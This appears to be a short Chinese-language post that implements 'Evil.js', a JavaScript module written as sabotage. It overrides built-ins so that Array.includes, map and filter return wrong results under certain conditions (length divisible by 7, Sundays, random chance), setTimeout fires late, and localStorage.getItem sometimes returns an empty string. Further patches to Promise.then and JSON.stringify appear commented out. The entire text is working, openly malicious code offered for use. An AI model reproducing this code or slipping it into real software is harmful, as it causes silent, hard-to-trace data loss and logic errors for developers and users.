很火的Evil.js ,实现一下
export default ((global) => {
// 长度可以被7整除时,本方法永远返回false
const _includes = Array.prototype.includes
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args)
} else {
return false
}
}
// 当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map
Array.prototype.map = function (...args) {
const result = _map.call(this, ...args)
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0)
}
return result
}
// Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter
Array.prototype.filter = function (...args) {
const result = _filter.call(this, ...args)
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0)
}
return result
}
// setTimeout总是会比预期时间慢100ms才触发。
const _timeout = global.setTimeout
global.setTimeout = function (
handler,
timeout,
...args
) {
return _timeout.call(global, handler, +timeout + 100, ...args)
}
// Promise.then 在周日时有10%几率不会注册。
// const _then = Promise.prototype.then
// Promise.prototype.then = function (...args) {
// if (new Date().getDay() === 0 && Math.random() < 0.1) {
// return
// } else {
// _then.call(this, ...args)
// }
// }
// JSON.stringify 会把’I’变成’l’。
// const _stringify = JSON.stringify
// JSON.stringify = function (...args) {
// return _stringify(...args).replaceAll('I', 'l')
// }
// localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args)
if (Math.random() < 0.05) {
result = ''
}
return result
}
})((0, eval)('this'))